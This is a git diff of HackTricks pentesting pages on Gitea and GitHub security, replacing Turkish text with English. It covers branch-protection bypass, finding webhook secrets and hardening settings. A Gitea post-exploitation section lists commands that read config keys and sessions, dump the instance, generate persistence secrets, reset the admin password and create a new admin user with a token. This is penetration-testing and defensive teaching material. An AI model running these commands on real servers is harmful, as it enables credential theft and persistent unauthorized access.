**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
|
||||
Açıklandığı gibi [**burada**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) bazen taahhütleri imzalamak gerekebilir yoksa keşfedilebilirsiniz.
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
|
||||
Mevcut kullanıcının herhangi bir anahtara sahip olup olmadığını yerel olarak kontrol edin:
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Kullanıcı Tokeni ile
|
||||
|
||||
[**Kullanıcı Tokenleri hakkında temel bilgileri kontrol edin**](basic-gitea-information.md#personal-access-tokens) için bir giriş.
|
||||
### With User Token
|
||||
|
||||
Bir kullanıcı tokeni, Gitea sunucusuna **şifre yerine** **kimlik doğrulamak** için kullanılabilir [**API aracılığıyla**](https://try.gitea.io/api/swagger#/). Kullanıcı üzerinde **tam erişim** sağlar.
|
||||
For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
|
||||
|
||||
### Oauth Uygulaması ile
|
||||
A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
|
||||
|
||||
[**Gitea Oauth Uygulamaları hakkında temel bilgileri kontrol edin**](./#with-oauth-application) için bir giriş.
|
||||
### With Oauth Application
|
||||
|
||||
Bir saldırgan, kullanıcıların muhtemelen bir kimlik avı kampanyasının parçası olarak kabul ettiği ayrıcalıklı verilere/eylemlere erişmek için **kötü niyetli bir Oauth Uygulaması** oluşturabilir.
|
||||
For an introduction about [**Gitea Oauth Applications check the basic information**](#with-oauth-application).
|
||||
|
||||
Temel bilgilerde açıklandığı gibi, uygulama **kullanıcı hesabı üzerinde tam erişime** sahip olacaktır.
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
|
||||
### Dal Koruma Atlatma
|
||||
As explained in the basic information, the application will have **full access over the user account**.
|
||||
|
||||
Github'da, varsayılan olarak repo üzerinde **yazma erişimi** olan bir **token** alan **github actions** bulunmaktadır. Bu, **dal korumalarını atlatmak** için kullanılabilir. Bu durumda **böyle bir şey yok**, bu nedenle atlatmalar daha sınırlıdır. Ancak neler yapılabileceğine bir bakalım:
|
||||
### Branch Protection Bypass
|
||||
|
||||
- **Push'u Etkinleştir**: Yazma erişimi olan herhangi biri dalına push yapabiliyorsa, sadece push yapın.
|
||||
- **Kısıtlı Push'u Beyaz Listeye Al**: Aynı şekilde, bu listeye dahil iseniz dalına push yapın.
|
||||
- **Birleştirme Beyaz Listesini Etkinleştir**: Eğer birleştirme beyaz listesi varsa, onun içinde olmanız gerekir.
|
||||
- **Onay gereksinimi 0'dan büyük**: O zaman... başka bir kullanıcıyı tehlikeye atmanız gerekir.
|
||||
- **Onayları beyaz listeye kısıtla**: Eğer yalnızca beyaz listedeki kullanıcılar onay verebiliyorsa... o liste içinde olan başka bir kullanıcıyı tehlikeye atmanız gerekir.
|
||||
- **Eski onayları geçersiz kıl**: Eğer onaylar yeni commitlerle kaldırılmıyorsa, onaylanmış bir PR'yi ele geçirip kodunuzu ekleyebilir ve PR'yi birleştirebilirsiniz.
|
||||
In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
|
||||
|
||||
**Eğer bir org/repo yöneticisiyseniz** korumaları atlatabileceğinizi unutmayın.
|
||||
- **Enable Push**: If anyone with write access can push to the branch, just push to it.
|
||||
- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
|
||||
- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
|
||||
- **Require approvals is bigger than 0**: Then... you need to compromise another user
|
||||
- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
|
||||
- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
|
||||
|
||||
### Webhook'ları Sayma
|
||||
Note that **if you are an org/repo admin** you can bypass the protections.
|
||||
|
||||
**Webhook'lar**, belirli gitea bilgilerini bazı yerlere **gönderebilir**. Bu iletişimi **istismar edebilirsiniz**.\
|
||||
Ancak genellikle, **webhook** içinde **geri alınamaz** bir **gizli anahtar** ayarlanır; bu, URL'sini bilen ancak gizli anahtarı bilmeyen dış kullanıcıların **o webhook'u istismar etmesini** **önler**.\
|
||||
Ancak bazı durumlarda, insanlar **gizli anahtarı** yerine **URL'ye** bir parametre olarak ayarlayabilir, bu nedenle **URL'leri kontrol etmek** size **gizli anahtarları** ve daha fazla istismar edebileceğiniz diğer yerleri bulma imkanı verebilir.
|
||||
### Enumerate Webhooks
|
||||
|
||||
Webhook'lar **repo ve org seviyesinde** ayarlanabilir.
|
||||
**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
|
||||
However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
|
||||
But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
|
||||
|
||||
## Sonrası İstismar
|
||||
Webhooks can be set at **repo and at org level**.
|
||||
|
||||
### Sunucu İçinde
|
||||
## Post Exploitation
|
||||
|
||||
Eğer bir şekilde gitea'nın çalıştığı sunucuya girmeyi başardıysanız, gitea yapılandırma dosyasını aramalısınız. Varsayılan olarak `/data/gitea/conf/app.ini` konumundadır.
|
||||
### Inside the server
|
||||
|
||||
Bu dosyada **anahtarlar** ve **şifreler** bulabilirsiniz.
|
||||
If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
|
||||
|
||||
Gitea yolunda (varsayılan: /data/gitea) ayrıca ilginç bilgiler bulabilirsiniz:
|
||||
In this file you can find **keys** and **passwords**.
|
||||
|
||||
- **sqlite** DB: Gitea harici bir veritabanı kullanmıyorsa, bir sqlite veritabanı kullanacaktır.
|
||||
- **oturumlar** oturumlar klasörü içinde: `cat sessions/*/*/*` komutunu çalıştırarak oturum açmış kullanıcıların kullanıcı adlarını görebilirsiniz (gitea ayrıca oturumları DB içinde de saklayabilir).
|
||||
- **jwt özel anahtarı** jwt klasörü içinde
|
||||
- Bu klasörde daha fazla **hassas bilgi** bulunabilir.
|
||||
In the gitea path (by default: /data/gitea) you can find also interesting information like:
|
||||
|
||||
Eğer sunucu içindeyseniz, bilgileri erişmek/değiştirmek için **`gitea` ikili dosyasını** de kullanabilirsiniz:
|
||||
- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
|
||||
- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
|
||||
- The **jwt private key** inside the jwt folder
|
||||
- More **sensitive information** could be found in this folder
|
||||
|
||||
- `gitea dump` gitea'yı dökerek bir .zip dosyası oluşturur.
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` belirtilen türde bir token oluşturur (kalıcılık).
|
||||
- `gitea admin user change-password --username admin --password newpassword` Şifreyi değiştirir.
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Yeni bir yönetici kullanıcı oluşturur ve bir erişim tokeni alır.
|
||||
If you are inside the server you can also **use the `gitea` binary** to access/modify information:
|
||||
|
||||
- `gitea dump` will dump gitea and generate a .zip file
|
||||
- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
|
||||
- `gitea admin user change-password --username admin --password newpassword` Change the password
|
||||
- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,103 +1,106 @@
|
||||
# Temel Gitea Bilgisi
|
||||
# Basic Gitea Information
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Yapı
|
||||
## Basic Structure
|
||||
|
||||
Temel Gitea ortam yapısı, **organizasyon(lar)** tarafından repo gruplandırması yapmaktır; her biri **birkaç depo** ve **birkaç takım** içerebilir. Ancak, github'da olduğu gibi kullanıcıların organizasyon dışında depoları olabileceğini unutmayın.
|
||||
The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
|
||||
|
||||
Ayrıca, bir **kullanıcı** **farklı organizasyonların** **üyesi** olabilir. Organizasyon içinde kullanıcı, her depo üzerinde **farklı izinlere** sahip olabilir.
|
||||
Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
|
||||
|
||||
Bir kullanıcı ayrıca **farklı takımların** **bir parçası** olabilir ve farklı depolar üzerinde farklı izinlere sahip olabilir.
|
||||
A user may also be **part of different teams** with different permissions over different repos.
|
||||
|
||||
Ve nihayetinde **depolar özel koruma mekanizmalarına** sahip olabilir.
|
||||
And finally **repositories may have special protection mechanisms**.
|
||||
|
||||
## İzinler
|
||||
## Permissions
|
||||
|
||||
### Organizasyonlar
|
||||
### Organizations
|
||||
|
||||
Bir **organizasyon oluşturulduğunda**, **Sahipler** adında bir takım **oluşturulur** ve kullanıcı bu takımın içine yerleştirilir. Bu takım, **organizasyon** üzerinde **yönetici erişimi** verecektir; bu **izinler** ve takımın **adı** **değiştirilemez**.
|
||||
When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
|
||||
|
||||
**Org yöneticileri** (sahipler) organizasyonun **görünürlüğünü** seçebilir:
|
||||
**Org admins** (owners) can select the **visibility** of the organization:
|
||||
|
||||
- Genel
|
||||
- Sınırlı (sadece giriş yapmış kullanıcılar)
|
||||
- Özel (sadece üyeler)
|
||||
- Public
|
||||
- Limited (logged in users only)
|
||||
- Private (members only)
|
||||
|
||||
**Org yöneticileri**, **repo yöneticilerinin** takımlara **erişim ekleyip veya kaldırıp kaldıramayacağını** da belirtebilir. Ayrıca, maksimum depo sayısını da belirtebilirler.
|
||||
**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
|
||||
|
||||
Yeni bir takım oluştururken, birkaç önemli ayar seçilir:
|
||||
When creating a new team, several important settings are selected:
|
||||
|
||||
- Takım üyelerinin erişebileceği **organizasyonun depoları** belirtilir: belirli depolar (takımın eklendiği depolar) veya hepsi.
|
||||
- Ayrıca, **üyelerin yeni depolar oluşturup oluşturamayacağı** belirtilir (oluşturucu buna yönetici erişimi alır).
|
||||
- Depo **üyelerinin sahip olacağı izinler**:
|
||||
- **Yönetici** erişimi
|
||||
- **Belirli** erişim:
|
||||
- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
|
||||
- It's also indicated **if members can create new repos** (creator will get admin access to it)
|
||||
- The **permissions** the **members** of the repo will **have**:
|
||||
- **Administrator** access
|
||||
- **Specific** access:
|
||||
|
||||
.png>)
|
||||
|
||||
### Takımlar & Kullanıcılar
|
||||
### Teams & Users
|
||||
|
||||
Bir depoda, **org yöneticisi** ve **repo yöneticileri** (org tarafından izin verilirse) işbirlikçilere (diğer kullanıcılara) ve takımlara verilen **rolleri** **yönetebilir**. **3** olası **rol** vardır:
|
||||
In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
|
||||
|
||||
- Yönetici
|
||||
- Yazma
|
||||
- Okuma
|
||||
- Administrator
|
||||
- Write
|
||||
- Read
|
||||
|
||||
## Gitea Kimlik Doğrulaması
|
||||
## Gitea Authentication
|
||||
|
||||
### Web Erişimi
|
||||
### Web Access
|
||||
|
||||
**kullanıcı adı + şifre** kullanarak ve potansiyel olarak (ve önerilen) bir 2FA ile.
|
||||
Using **username + password** and potentially (and recommended) a 2FA.
|
||||
|
||||
### **SSH Anahtarları**
|
||||
### **SSH Keys**
|
||||
|
||||
Hesabınızı, ilgili **özel anahtarın sizin adınıza işlem yapmasına** izin veren bir veya birkaç genel anahtar ile yapılandırabilirsiniz. [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
|
||||
|
||||
#### **GPG Anahtarları**
|
||||
#### **GPG Keys**
|
||||
|
||||
Bu anahtarlarla kullanıcıyı taklit edemezsiniz, ancak kullanmazsanız, **imzasız gönderim yaparken keşfedilme olasılığınız** olabilir.
|
||||
You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
|
||||
|
||||
### **Kişisel Erişim Jetonları**
|
||||
### **Personal Access Tokens**
|
||||
|
||||
Bir uygulamanın hesabınıza erişim sağlaması için kişisel erişim jetonu oluşturabilirsiniz. Kişisel erişim jetonu, hesabınıza tam erişim sağlar: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
|
||||
|
||||
### Oauth Uygulamaları
|
||||
### Oauth Applications
|
||||
|
||||
Kişisel erişim jetonları gibi **Oauth uygulamaları** da hesabınıza ve hesabınızın erişim sağladığı yerlere **tam erişim** sağlayacaktır; çünkü [belgelere](https://docs.gitea.io/en-us/oauth2-provider/#scopes) göre, kapsamlar henüz desteklenmiyor:
|
||||
Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dağıtım Anahtarları
|
||||
### Deploy keys
|
||||
|
||||
Dağıtım anahtarları, depoya yalnızca okuma veya yazma erişimine sahip olabilir, bu nedenle belirli depoları tehlikeye atmak için ilginç olabilir.
|
||||
Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
|
||||
|
||||
## Dal Koruma
|
||||
## Branch Protections
|
||||
|
||||
Dal korumaları, kullanıcılara bir depo üzerinde **tam kontrol vermemek** için tasarlanmıştır. Amaç, bazı dallara kod yazabilmek için **birkaç koruma yöntemi koymaktır**.
|
||||
Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
|
||||
|
||||
Bir deponun **dal korumaları** _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_ adresinde bulunabilir.
|
||||
The **branch protections of a repository** can be found in _https://localhost:3000/\<orgname>/\<reponame>/settings/branches_
|
||||
|
||||
> [!NOTE]
|
||||
> **Bir dal korumasını organizasyon düzeyinde ayarlamak mümkün değildir.** Bu nedenle, hepsi her depoda belirtilmelidir.
|
||||
> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
|
||||
|
||||
Bir dala (örneğin master'a) farklı korumalar uygulanabilir:
|
||||
Different protections can be applied to a branch (like to master):
|
||||
|
||||
- **Push'i Devre Dışı Bırak**: Hiç kimse bu dala push yapamaz.
|
||||
- **Push'i Etkinleştir**: Erişimi olan herkes push yapabilir, ancak zorla push yapamaz.
|
||||
- **Beyaz Liste Kısıtlı Push**: Sadece seçilen kullanıcılar/takımlar bu dala push yapabilir (ancak zorla push yok).
|
||||
- **Beyaz Liste Birleştirmeyi Etkinleştir**: Sadece beyaz listeye alınmış kullanıcılar/takımlar PR'leri birleştirebilir.
|
||||
- **Durum Kontrollerini Etkinleştir:** Birleştirmeden önce durum kontrollerinin geçmesini gerektirir.
|
||||
- **Onayları Gerektir**: Bir PR'nin birleştirilmeden önce gereken onay sayısını belirtir.
|
||||
- **Onayları beyaz listeye kısıtla**: PR'leri onaylayabilecek kullanıcıları/takımları belirtir.
|
||||
- **Reddedilen incelemelerde birleştirmeyi engelle**: Değişiklik talep edilirse, birleştirilemez (diğer kontroller geçse bile).
|
||||
- **Resmi inceleme taleplerinde birleştirmeyi engelle**: Resmi inceleme talepleri varsa, birleştirilemez.
|
||||
- **Eski onayları geçersiz kıl**: Yeni commitler olduğunda, eski onaylar geçersiz kılınır.
|
||||
- **İmzalı Commitleri Gerektir**: Commitler imzalanmalıdır.
|
||||
- **Pull request güncel değilse birleştirmeyi engelle**.
|
||||
- **Korunan/Korunmayan dosya desenleri**: Değişikliklere karşı korumak/kaldırmak için dosya desenlerini belirtir.
|
||||
- **Disable Push**: No-one can push to this branch
|
||||
- **Enable Push**: Anyone with access can push, but not force push.
|
||||
- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
|
||||
- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
|
||||
- **Enable Status checks:** Require status checks to pass before merging.
|
||||
- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
|
||||
- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
|
||||
- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
|
||||
- **Block merge on official review requests**: If there official review requests it cannot be merged
|
||||
- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
|
||||
- **Require Signed Commits**: Commits must be signed.
|
||||
- **Block merge if pull request is outdated**
|
||||
- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
|
||||
|
||||
> [!NOTE]
|
||||
> Gördüğünüz gibi, bir kullanıcının bazı kimlik bilgilerini elde etmeyi başarsanız bile, **depolar korumalı olabilir ve bu da örneğin CI/CD hattını tehlikeye atmak için kodu master'a push yapmanızı engelleyebilir.**
|
||||
> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,237 +1,250 @@
|
||||
# Github Güvenliği
|
||||
# Github Security
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Github Nedir
|
||||
## What is Github
|
||||
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) Yüksek seviyede, **GitHub, geliştiricilerin kodlarını depolamalarına ve yönetmelerine, ayrıca kodlarındaki değişiklikleri takip etmelerine ve kontrol etmelerine yardımcı olan bir web sitesi ve bulut tabanlı hizmettir**.
|
||||
(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
|
||||
|
||||
### Temel Bilgiler
|
||||
### Basic Information
|
||||
|
||||
{{#ref}}
|
||||
basic-github-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Harici Keşif
|
||||
## External Recon
|
||||
|
||||
Github depoları kamuya açık, özel ve dahili olarak yapılandırılabilir.
|
||||
Github repositories can be configured as public, private and internal.
|
||||
|
||||
- **Özel** demek, **sadece** **kuruluş** üyelerinin erişebileceği anlamına gelir.
|
||||
- **Dahili** demek, **sadece** **şirket** (bir şirketin birden fazla kuruluşu olabilir) üyelerinin erişebileceği anlamına gelir.
|
||||
- **Kamuya açık** demek, **tüm internet** erişebilecek demektir.
|
||||
- **Private** means that **only** people of the **organisation** will be able to access them
|
||||
- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
|
||||
- **Public** means that **all internet** is going to be able to access it.
|
||||
|
||||
Eğer hedef almak istediğiniz **kullanıcı, depo veya kuruluşu** biliyorsanız, **her depoda** hassas bilgileri bulmak veya **hassas bilgi sızıntılarını** aramak için **github dorks** kullanabilirsiniz.
|
||||
In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
|
||||
|
||||
### Github Dorks
|
||||
|
||||
Github, **bir kullanıcı, bir depo veya bir kuruluş belirterek bir şey aramanıza** olanak tanır. Bu nedenle, hassas bilgilere yakın görünecek bir dizi dize ile hedefinizde **potansiyel hassas bilgileri kolayca arayabilirsiniz**.
|
||||
Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
|
||||
|
||||
Araçlar (her araç kendi dork listesine sahiptir):
|
||||
Tools (each tool contains its list of dorks):
|
||||
|
||||
- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
|
||||
- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
|
||||
- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
|
||||
|
||||
### Github Sızıntıları
|
||||
### Github Leaks
|
||||
|
||||
Lütfen, github dorklarının sızıntıları aramak için de kullanıldığını unutmayın. Bu bölüm, **her depoyu indirip içlerinde hassas bilgileri arayan** araçlara adanmıştır (belirli bir commit derinliğini kontrol etme dahil).
|
||||
Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
|
||||
|
||||
Araçlar (her araç kendi regex listesine sahiptir):
|
||||
Tools (each tool contains its list of regexes):
|
||||
|
||||
Bu sayfayı kontrol edin: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
Check this page: **[https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html)**
|
||||
|
||||
> [!WARNING]
|
||||
> Bir depoda sızıntı ararken ve `git log -p` gibi bir şey çalıştırırken, **diğer commit'leri içeren diğer dallar** olabileceğini unutmayın!
|
||||
> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
|
||||
|
||||
### Harici Forklar
|
||||
### External Forks
|
||||
|
||||
**Pull request'leri kötüye kullanarak depoları tehlikeye atmak** mümkündür. Bir deponun savunmasız olup olmadığını bilmek için çoğunlukla Github Actions yaml yapılandırmalarını okumanız gerekir. [**Aşağıda bununla ilgili daha fazla bilgi**](#execution-from-a-external-fork).
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
|
||||
|
||||
### Silinmiş/Dahili Forklarda Github Sızıntıları
|
||||
### Github Leaks in deleted/internal forks
|
||||
|
||||
Silinmiş veya dahili olsa bile, github depolarının forklarından hassas veriler elde etmek mümkün olabilir. Bunu burada kontrol edin:
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Kuruluş Güçlendirme
|
||||
## Organization Hardening
|
||||
|
||||
### Üye Ayrıcalıkları
|
||||
### Member Privileges
|
||||
|
||||
Kuruluşun **üyelerine** atanabilecek bazı **varsayılan ayrıcalıklar** vardır. Bunlar `https://github.com/organizations/<org_name>/settings/member_privileges` sayfasından veya [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) üzerinden kontrol edilebilir.
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Temel izinler**: Üyeler, kuruluş depoları üzerinde None/Read/write/Admin iznine sahip olacaktır. Tavsiye edilen **None** veya **Read**'dir.
|
||||
- **Depo fork'lama**: Gerekli değilse, üyelerin kuruluş depolarını fork'lamalarına **izin vermemek** daha iyidir.
|
||||
- **Sayfa oluşturma**: Gerekli değilse, üyelerin kuruluş depolarından sayfa yayınlamalarına **izin vermemek** daha iyidir. Gerekliyse, kamuya açık veya özel sayfalar oluşturmasına izin verebilirsiniz.
|
||||
- **Entegrasyon erişim talepleri**: Bu etkinleştirildiğinde, dış işbirlikçileri bu kuruluş ve kaynaklarına erişim talep edebilecektir. Genellikle gereklidir, ancak gerek yoksa, devre dışı bırakmak daha iyidir.
|
||||
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
|
||||
- **Depo görünürlüğü değişikliği**: Etkinleştirildiğinde, **depo** için **admin** izinlerine sahip **üyeler**, **görünürlüğünü değiştirme** yetkisine sahip olacaktır. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri depo görünürlüklerini değiştirebilir. Eğer insanların şeyleri **kamuya açık** yapmasını istemiyorsanız, bunun **devre dışı** olduğundan emin olun.
|
||||
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
|
||||
- **Depo silme ve transfer**: Etkinleştirildiğinde, depo için **admin** izinlerine sahip üyeler, kamuya açık ve özel **depoları** **silme** veya **transfer etme** yetkisine sahip olacaktır.
|
||||
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
|
||||
- **Üyelerin ekip oluşturmasına izin verme**: Etkinleştirildiğinde, kuruluşun herhangi bir **üyesi** yeni **takımlar** oluşturabilecektir. Devre dışı bırakıldığında, yalnızca kuruluş sahipleri yeni takımlar oluşturabilir. Bunun devre dışı bırakılması daha iyidir.
|
||||
- _Bu bilgiyi API yanıtında bulamadım, bulursanız paylaşın_
|
||||
- **Bu sayfada daha fazla şey yapılandırılabilir**, ancak önceki olanlar daha güvenlikle ilgili olanlardır.
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
|
||||
### Eylem Ayarları
|
||||
### Actions Settings
|
||||
|
||||
Eylemler için birkaç güvenlikle ilgili ayar, `https://github.com/organizations/<org_name>/settings/actions` sayfasından yapılandırılabilir.
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> Tüm bu yapılandırmaların her depoda bağımsız olarak da ayarlanabileceğini unutmayın.
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
|
||||
- **Github eylem politikaları**: Hangi depoların iş akışlarını çalıştırabileceğini ve hangi iş akışlarının izin verileceğini belirtmenize olanak tanır. **Hangi depoların** izin verileceğini belirtmek ve tüm eylemlerin çalıştırılmasına izin vermemek tavsiye edilir.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Dış işbirlikçilerden fork pull request iş akışları**: Tüm dış işbirlikçileri için **onay gerektirmesi** tavsiye edilir.
|
||||
- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_
|
||||
- **Fork pull request'lerden iş akışlarını çalıştırma**: **Pull request'lerden iş akışlarını çalıştırmak** kesinlikle **tavsiye edilmez**, çünkü fork kaynağının bakımcıları, kaynak deposunda okuma izinlerine sahip token'ları kullanma yetkisi alacaktır.
|
||||
- _Bu bilgiyi içeren bir API bulamadım, bulursanız paylaşın_
|
||||
- **İş akışı izinleri**: **Sadece okuma deposu izinleri** vermek kesinlikle tavsiye edilir. GITHUB_TOKEN'ın kötüye kullanılmasını önlemek için yazma ve pull request'leri oluşturma/onaylama izinleri vermek tavsiye edilmez.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
